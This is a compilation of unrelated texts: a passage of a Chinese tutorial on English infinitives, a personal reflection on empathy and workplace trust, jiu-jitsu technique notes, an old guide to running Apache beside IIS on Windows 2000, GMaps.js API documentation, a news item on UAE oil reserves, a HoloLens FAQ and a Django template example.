注：由于let是不完全及物动词，故此不定式短语类似第四大句型，it是不定式to let的宾语，pass是宾语补语
It was not long before a helicopter arrived on the scene to rescue the survivors of the plane crash.
It was not long before a helicopter arrived on the scene so that it could rescue the survivors of the plane crash.
不久，一架直升飞机抵达飞机失事现场，来搭救这几个幸存者。
Specially-made lanterns are hung outside each house to help the dead to find their way.
Specially-made lanterns are hung outside each house so that they could help the dead to find their way.
特制的灯笼在各家的门外，为的是帮助亡灵看清道路。
有时候，为了强调目的状语，可以将不定式放在句首。
To acquire knowledge, one must study; but to acquire wisdom, one must observe.
要想获得知识，就必须学习。但要想获得智慧，就必须学会观察。
To be really happy and really safe, one ought to have at least two or three hobbies, and they must all be real.
要想真正幸福和平安，一个人至少应该有两三种业余爱好，而且必须是真正的爱好。
1.2.2、作结果状语
分词短语表示意料之中的结果，而不定式表示意料之外的结果。
Farm laborers said that they always woke up to find the work had been done overnight.
农场工人们说，常常一早起来却发现有人在夜里把活干了。
The small company has beaten other big companies, to win the title of best business-class service.
这个小航空公司击败了其他大公司从而赢得了最佳商务舱服务奖。
1.2.3、造句练习
注：鼠标选中空白处有惊喜哦
憎恨别人，犹如为了除掉一只老鼠而烧掉自己的房子。

为了赢得这个奖，你应该很努力地奋斗。
To win the award, you should work very hard.
1.3、定语从句的化简
1.3.1、关系代词作主语
关系代词作主语引导的定语从句，可以化简为不定式短语，此时的先行词，通常被绝对性形容词修饰
I have no friend to advise me.
I have no friend who can advise me.
我没有可以给我忠告的朋友。
注：因为本句中有绝对性形容词no，所以用不定式作定语，而不用分词
He was the first person to greet me when I arrive there.
He was the first person who greet me when I arrive there.
当我到那儿的时候，他是第一个来迎接我的人。
注：因为本句中有绝对性形容词first，所以用不定式作定语，而不用分词。
1.3.2、关系代词作宾语
关系代词作宾语引导的定语从句，可以化简为不定式短语，此时的不定式动词必须是及物动词或者及物动词短语，表示“有某事要做”
- I have a letter to write.（我有一封信要写）
- I will write a letter.（我要写一封信）
上面这两句话的中文意思和英文意思是一样的。需要注意的是，这里的不定式to write作定语，修饰名词letter，不定式动词write是及物动词，其修饰的名词letter是不定式的逻辑宾语。
He never has anything to do.
He never has anything that he can do.
我们不能说，He is a nice man to work.因为这里的work是不及物动词，不能接宾语man。所以，必须改为，He is a nice man to work with.
1.3.3、关系副词
关系副词引导的定语从句，可以化简为不定式短语，此时不定式动词必须是不及物动词，或者及物动词+宾语
The time to go is July.（不及物动词go）
The time when we should go is July.
应该在7月份去。
It is time to draw a conclusion.（及物动词draw + 宾语conclusion）
到下结论的时间了。

A good place where we can eat food is the Sichuan restaurant around the corner.
一个吃饭的好地方就是拐角的那家川菜馆。
The only way to do this was to operate.
The only way in which they can do this was to operate.
做这件事唯一的办法就是手术。
1.3.4、造句练习
注：鼠标选中空白处有惊喜哦
我有一封信要写。
I have a letter to write.
他是做最后决定的最佳人选。
He is the best man to make the final choice.
在天黑前，我们还有很长的路要走。
We had a long journey to make before nightfall.
她有四个孩子要照顾。
She has hour children to take care of.
下一列到达的火车是从纽约开过来的。
The next train to arrive is from New York.
克林顿是这次空难中唯一的幸存者。
Clinton is the only person to survive the air crash.
角色扮演（role playing）是一种有效而且自得其乐的英语学习方法。
Role playing is an effective and enjoyable way to learn English.
二、不定式短语的逻辑主语
当不定式短语的逻辑主语和句子的主语不一致的时候，通常用这样的结构：for + 名词 + 不定式
He expects for his sister to meet you.
He expects that his sister can meet you.
他期望他妹妹认识你。
There is no need for you to go.
你没有必要去。
Dentists always ask questions when it is impossible for you to answer.
牙科医生总是在你无法作出回答的时候向你提出问题。
Chinese parents wanted their children to be successful, while American parents expressed a desire for their children to be happy.
中国父母希望孩子成功，而美国的父母表达了他们的愿望，那就是希望他们孩子幸福。
当代词作不定式的逻辑主语时，要用宾格
My sister told me that she would love for me to babysit for her.
姐姐告诉我她很想要我帮她照顾小孩。
当我们想表达“对于···来说做某事是怎么样的”，通常都可以采用不定式带上逻辑主语的结构：It is + 形容词 + for sb. to do sth.
It is necessary for him to study English every day.
对他来说，每天学习英语是很有必要的。
在It is + 形容词 + for sb. to do sth.句型中，当表示人物性格的形容词（聪明，善良，粗心，愚蠢等）和不定式连用时，要用of代替for
It’s wise of you not to argue with our boss.
明智的做法是不和你的老板争吵。
It was very careless of him to make such silly mistakes.
他太粗心了，居然犯了如此愚蠢的错误。
造句练习（注：鼠标选中空白处有惊喜哦）：
此刻，我很难表达我的心情。
It’s very difficult for me to express my feelings at this moment.
你有必要亲自去那里一趟。
It’s necessary for you to go there in person.他很慷慨，把它的车借给了我。
It’s generous of him to lend me his car.
三、不定式短语的时态和语态变化
不定式短语，没有“时”的变化，而只有“态”的变化。
不定式有4态，即一般态、完成态、进行态和完成进行态。其构成也非常简单，就是to + 4态。
不定式的被动语态，就是to + 4态的被动语态。但进行态和完成进行态很少用被动语态。
以动词do为例：
- 一般态：主动语态为to do，被动语态为to be done
- 完成态：主动语态为to have done，被动语态为to have been done
- 进行态：主动语态为to be doing，一般不用被动语态
- 完成进行态：主动语态为to have been doing，一般不同被动语态
通常，不定式的一般态是最常用的：
He wanted some photographs to be taken when he visited Taiwan.（一般态，被动语态）
他在台湾参观的时候想找人拍几张照片。
不定式的完成态，表示不定式的动作发生在谓语动作之前：
Fishermen and sailors sometimes claim to have seen monsters in the sea.（完成态，主动语态）
渔夫和水手们有时声称自己看到过海里的妖怪。
This building was said to have been build from their own designs.（完成态，被动语态）
这就说是他们自行设计建造的。
不定式的进行态，表示不定式的动作与谓语动作同时发生。不定式的进行态不常用，通常只用于seem/appear，happen等动词之后，表达“似乎正在做某事”，“碰巧正在做某事”等等。
A pilot noticed a balloon which seemed to be making for a Royal Air Force Station nearby.
一个飞行员发现了一只气球，它像是正飞往附近的一个皇家空军基地。
不定式的完成进行态，是完成态的延续动词用法（少见用法）。
They are said to have been collecting stamps.
They are said to have collected stamps.
据说他们一直在收集邮票。
需要注意的是，以下是常见的固定搭配，即只能用不定式，而不能用分词或动名词：
- claim to do（声称…）
- be said to do（据说…）
- be supposed/thought/expected to do（应该…）
- seem / appear（似乎…）
例句：
Everyone went to the funeral, for the ‘ghost’ was none other than Eric Cox, a third brother who was supposed to have died as a young man.
大家都去参加了葬礼，因为那“鬼”不是别人，正是农场主的兄弟埃里克·考科斯。人们以为埃里克年轻时就死了。
When I was a boy, my grandfather tole me how a German taxi driver, Franz Bussman, found a brother who was thought to have been killed twenty years before.
当我是个孩子的时候，我祖父给我讲了一位德国出租汽车司机弗朗兹·巴斯曼如何找到了据信已在20年前死去的兄弟的事。
造句练习（注：鼠标选中空白处有惊喜哦）：
他想要找人立刻把这些信打印出来。
he wanted the letters to be typed at once.
我很抱歉在这个时候还用这么多问题来打扰你。
I’m sorry to have bothered you with so many questions on such an occasion.
她妈妈走进来的时候，他假装正在睡觉。
He pretended to be sleeping when his mother came in.
那个小女孩今晚好像一直在看电视。
The little girl seems to have been watching TV all this evening.
本博客所有文章除特别声明外，均采用 CC BY-SA 4.0 协议 ，转载请注明出处！


Oh, I'm all ABOUT sincerity! Sincerely! I've done a fair amount of comedy in my life working, with different groups within the city. Before that, I had creative groups around zines or music too. In each, sincerity was required to build trust and in that trust came support. This is true with the group--being sincere in your art, and wanting others to do well, helps you receive and give feedback. This translates into stronger art, and a stronger network of people to help with each other's art. This dynamic was present between the performer and audience too. If the audience feels you are just making things up, and not believing in what it is you're doing, then they will check out. Actual sincerity is how you build trust with that audience, who wants to support you through a good set. When that trust is built between auidence and performers, then the show is absolutely magical.
I have not done the exact trust exercises he mentions, but have done variations of them in these groups.
Great! My ideal is to live in a way that this style of listening is not an alien practice that I need to inentionally work through. I feel good in that empathic listening did not feel much different from conversations I have with my friends and wife anyway.
Delightful! The quality I'm enjoying in each of these exercises is how physical they are--or like how there is body sensations coming from the mental journeys. During loving kindness, I could not supress my smile, and felt a sort of giddiness travelling through my like static electricity. I also found it helped adjust all my interactions, not just with the person I visualized in loving kindness. My giddiness translated to how i felt with the people walking down the street with me, or waiting for their clothes to dry in the laundromat. We were all in this wonderful thing together.
The one that popped into my mind initially was a disagreement I had on my second-to-last day of work. I was the product manager of this Analytics software, and the team that created and maintained it had left the company with myself leaving shortly after. So I was working to transition responsibilities to a new development team. One of these responsibilities was with terminology throughout the software. Sometimes our definitions change, or we find that the definition we used was not clear to our customer. To fix them, you would go into the code, find the field in which the definition was listed, and change it.
I wanted this job to be able to be done by our upper-level support people. The new product manager refused this, though, saying that only developers should touch the code and support could move through proper developer channels if they wanted to propose a wording change.
Having worked with the software for a year, and having worked with the support team far longer, I know what areas they are experts in and what things they are capable of. I also had this belief that, working in a tech company, our support should understand the tech they're working with, and so any time there's a chance to expand their knowledge, we should take it as it's good for everyone. I also knew that the development team taking over did not understand the end-use of the software. They were learning the code, but not how people used it or approached it. So they would be having to turn to Support constantly to figure out what these words meant, or how customers read them. Because of this, it felt inefficient and frankly rude to not integrate support more into the development of the product, to better get that customer perspective at a code level.
We are working with technology that affects thousands of people in their day-to-day operations. We can not risk this technology going down because someone didn't understand what they were doing, and changed some code they shouldn't have. Allowing someone that I do not work with directly to be within the codebase provides too strong of a risk. While I am learning this code, the best thing I can rely on is the principles learned in the dev world--including the principle of least permissions. So I will use this as a guide, and provide a known channel for support to communicate with us without extending breakable code to them. This is also an area where I do not fully know the code and product yet (as I'm transitioning to it) so I want the borders and processes to be as bold and narrow as possible as I gain my footing.
I have reservations against the mainstream tech world (or Silicon Valley). Reservations isnt' the right word--I have deep resentment against them. I can be empathetic to people within that culture, but I worry about any empathy of that culture as a whole. The fact that empathy has to be taught to them in a book, as a way to make meetings stronger and your team succeed more, doesn't really boost my feelings about that culture at all. I love mindfulness, but not when it's being given like some disgusting vegetable hidden within the cheese and potatoes of a meal. It makes me wonder why this has to be translated so drastically for this crowd.


TrianglefromHalfGuard
From half guard bottom position, with knee shield.
Underhook ops arm, hip out to side a bit, prop on bottom arm/hand with straight arm, get some height.
Top leg moves to ops back, lay it 90 degs and put some weight through it. Now retract lower leg, pull it back to get some momentum and swing through to ops far shoulder,
Prop hand needs to move as you swing through, leg wraps ops neck as per triangle choke leg over neck.


--- layout: post title: Installing the Apache web server on Windows 2000 with IIS 5 running tags: [] status: publish type: post published: true meta: {} ---
This document explains how I configured the Apache web server to run on my Windows 2000 machine with IIS 5 running simultaneously. The extraction of the files and there installation is extremely straightforward. Simply double click on the executable file and follow the prompts (as a rule accept the defaults that the installation supplies). Once this is done you can click on the Start button and from Programs, choose the Apache Web Server folder and choose the Install Apache as a service. This again is done automatically and all you should see is a DOS prompt that flashes up quickly and close once the process is completed. Now you are able to start the server as a service.
This however is also the stage during which you will run into problems if you are running IIS5 on your box. If you tried to fire up the server from the Start Apache option in the Apache Web Server folder, another DOS window will open quickly and close down. Trying to browse a file will produce no results. If you have installed the option to run Apache as a service and try and start it you'll see a dialogue popup informing you that the service has failed to start. By going to the command prompt and typing apache you'll get an error message. This should give you a hint as to why the server is failing to startup. In order for the installation to work side by side you need to configure certain options.
All of the Apache server configuration is done with the help of conf files. These are basically text files that the server reads at startup to set the options for your server. The files are located in the conf directory of your installation path (if you choose the defaults that will be c:Program FilesApache GroupApacheconf).
The only file you'll need to edit is the httpd.conf file. Please note that you really should make a backup copy of the original file, just in case. This file controls the startup parameters of the Apache web server daemon (or service). You will need to make to adjustments, you will need to specify the Server Name and the default port the server will listen on.
First off locate the line that specifies the port the server listens on:
#
# Port: The port to which the standalone server listens.
#
Port 80
By default this is set to port 80, but your IIS server is listening on that port. So change the setting to 8081 (you can specify any value that you like as long as it doesn't belong to another service that is running [e.g.: port 25 belongs to SMTP]). That section will look something like this (depending on the port you have chosen):
#
# Port: The port to which the standalone server listens.
#
Port 8081
So far so good, now we need to specify the server name, so locate the following line:
#
# ServerName allows you to set a host name which is sent back to clients for
# your server if it's different than the one the program would get (i.e., use
# "www" instead of the host's real name).
#
# Note: You cannot just invent host names and hope they work. The name you
# define here must be a valid DNS name for your host. If you don't understand
# this, ask your network administrator.
# If your host doesn't have a registered DNS name, enter its IP address here.
# You will have to access it by its address (e.g., http://<IP_ADDRESS>/)
# anyway, and this will make redirections work in a sensible way.
#
#ServerName new.host.name
By default this section is commented out so you'll need to un-comment the line.  Next you'll need to specify a host name. After ServerName specify your server name, e.g. localhost. So now that section should look something like this:
#
# ServerName allows you to set a host name which is sent back to clients for
# your server if it's different than the one the program would get (i.e., use
# "www" instead of the host's real name).
#
# Note: You cannot just invent host names and hope they work. The name you
# define here must be a valid DNS name for your host. If you don't understand
# this, ask your network administrator.
# If your host doesn't have a registered DNS name, enter its IP address here.
# You will have to access it by its address (e.g., http://<IP_ADDRESS>/)
# anyway, and this will make redirections work in a sensible way.
#
ServerName localhost
Right that's it. The server is ready to be fired up. From the command line in the c:Program FilesApache GroupApache directory type apache. This will startup the server. If all is working you'll see the following content in the DOS window:
[Thu Jun 22 23:16:49 2000]
Apache/1.3.12 (Win32) running?
Should there be any errors these will appear in the window with hints on how to remedy them. Shortly I will explain how to configure Perl to work for Apache.


Constructor
new GMaps(options)
- Source:
Creates a new GMaps instance, including a Google Maps map.
Parameters:
| Name | Type | Description |
|---|---|---|
options |
object |
|
Members
controls :array
- Source:
Collection of custom controls in the map UI
Type:
- array
el :HTMLElement
- Source:
Container element
Type:
- HTMLElement
layers :array
- Source:
Collection of KML/GeoRSS and FusionTable layers
Type:
- array
map :google.maps.Map
- Source:
Google Maps map instance
Type:
- google.maps.Map
markerClusterer :object
- Source:
Marker Clusterer instance
Type:
- object
markers :array
- Source:
Collection of map's markers
Type:
- array
overlays :array
- Source:
Collection of map's overlays
Type:
- array
polygons :array
- Source:
Collection of map's polygons
Type:
- array
polylines :array
- Source:
Collection of map's lines
Type:
- array
routes :array
- Source:
Collection of map's routes requested by GMaps#getRoutes, GMaps#renderRoute, GMaps#drawRoute, GMaps#travelRoute or GMaps#drawSteppedRoute
Type:
- array
singleLayers :object
- Source:
Collection of data layers (See GMaps#addLayer)
Type:
- object
zoom :number
- Source:
Current map's zoom
Type:
- number
Methods
addControl(options) → {HTMLElement}
- Source:
Add a custom control to the map UI.
Parameters:
| Name | Type | Description |
|---|---|---|
options |
object | The
|
Returns:
- Type
- HTMLElement
fitLatLngBounds(latLngs)
- Source:
Adjust the map zoom to include all the coordinates in the latLngs
array.
Parameters:
| Name | Type | Description |
|---|---|---|
latLngs |
array | Collection of |
fitZoom()
- Source:
Adjust the map zoom to include all the markers added in the map.
getElement() → {HTMLElement}
- Source:
Return the HTML element container of the map.
Returns:
the element container.
- Type
- HTMLElement
hideContextMenu()
- Source:
Hide the current context menu
refresh()
- Source:
Trigger a resize
event, useful if you need to repaint the current map (for changes in the viewport or display / hide actions).
removeControl(control) → {HTMLElement}
- Source:
Remove a control from the map. control
should be a control returned by addControl()
.
Parameters:
| Name | Type | Description |
|---|---|---|
control |
HTMLElement | One of the controls returned by |
Returns:
the removed control.
- Type
- HTMLElement
setCenter(lat, lng, callbackopt)
- Source:
Center the map using the lat
and lng
coordinates.
Parameters:
| Name | Type | Attributes | Description |
|---|---|---|---|
lat |
number | Latitude of the coordinate. |
|
lng |
number | Longitude of the coordinate. |
|
callback |
function |
<optional> |
Callback that will be executed after the map is centered. |
setContextMenu(options)
- Source:
Add a context menu for a map or a marker.
Parameters:
| Name | Type | Description |
|---|---|---|
options |
object | The
|
zoomIn(magnitudeopt)
- Source:
Increase the map's zoom.
Parameters:
| Name | Type | Attributes | Description |
|---|---|---|---|
magnitude |
number |
<optional> |
The number of times the map will be zoomed in. |
zoomOut(magnitudeopt)
- Source:
Decrease the map's zoom.
Parameters:
| Name | Type | Attributes | Description |
|---|---|---|---|
magnitude |
number |
<optional> |
The number of times the map will be zoomed out. |


U.A.E. says it has world's sixth-largest crude oil reserves
by The Associated Press, StaffDUBAI, United Arab Emirates -- The United Arab Emirates now says it is home to the world's sixth-largest crude oil reserves, surpassing fellow Gulf Arab nation Kuwait.
The UAE's Supreme Petroleum Council met on Monday and announced the news, saying the federation of seven sheikhdoms on the Arabian Peninsula had discovered new reserves of 7 billion "stock tank" barrels of oil.
The council said that pushed the UAE's overall reserves to 105 billion barrels. It also said it held the world's sixth-largest reserves of natural gas as well.
Oil reserves refer to crude that's economically feasible to extract. Figures can vary wildly by country due to differing standards, though it remains a yardstick of comparison among oil-producing nations.


- Which version of Windows 10 do I need? The repo examples were made on Windows 10 Pro Fall Creators Edition (1709). Check your Windows version with Settings > System > About.
- Which version of Visual Studio do I need? You want Visual Studio 2017, the Universal Windows Platform (UWP) build tools, and the Windows 10.0.16299 SDK. Check that these options are installed with Tools > Get Tools and Features.
- Which version of Unity do I need? You want Unity 2017.3, currently the newest version of Unity. When installing, add both of the two UWP build options.
- Where should I start? Try this hand tracking example as a base for your first project.
- Do I need to use the Mixed Reality Toolkit Unity package? No. It does have lots of additional examples, but the core functionality is now included in Unity.
- Speaking of functionality, what can the HoloLens do out of the box? It can track the user's head and one hand at a time, detect a tap and a quit gesture, create a 3D mesh from the environment that you can interact with, respond to voice commands, and record video.
- Is the Mixed Reality Toolkit the same as the HoloToolkit Unity package? Yes. The two names are used interchangeably—they're the same thing.
- Do I need to install the standalone HoloLens Emulator? No. It now comes included with recent versions of Unity.


Home
Links
This is the same as the previous app, but we generate them dynamically. Try these links:
-
{# We use the variable from views.py #}
{{ first_link }}
-
{% comment %}
This, is what is called a "template tag" in Django's terminology. It's like a fonction,
but that you can use in a template. It needs to be written between {% %} and not
{{ }} like variables. Parameters are listed on the right, separated by spaces, not
comas like in regular functions.
The "url" tag take a route name (and optionally, urls parameters) and
return the proper URL, based on urls.py.
{% endcomment %}
{% url 'hello' %}
-
{% comment %}
{% url include %} would produce an error saying it can't
find the proper route.
{% endcomment %}
This doesn't work.
-
{% comment %}
The URL pattern expect a name ((?P\w+)/$), so we provide
one as a parameter.
{% endcomment %}
{% url 'hello_name' 'world' %}
-
{% comment %}
You can use the "as" keyword to stuff the returned values from the "url" tag into
a variable. This allows you to reuse the result instead of calling the tag several
times like above.
Note that "as" doesn't work with all tags.
{% endcomment %}
{% url 'hello_name' 'You' as hello_link %}
{{ hello_link }}
-
{% comment %}
By the way, you can pass the parameters using their name,
just like with function. It ignores the parameter orders
{% endcomment %}
{% url 'hello_prefix' prefix='Hey' name='You' as prefixed_link %}
{{ prefixed_link }}
Generating dynamically links ensure you can change views, urls or entire apps much more easily.


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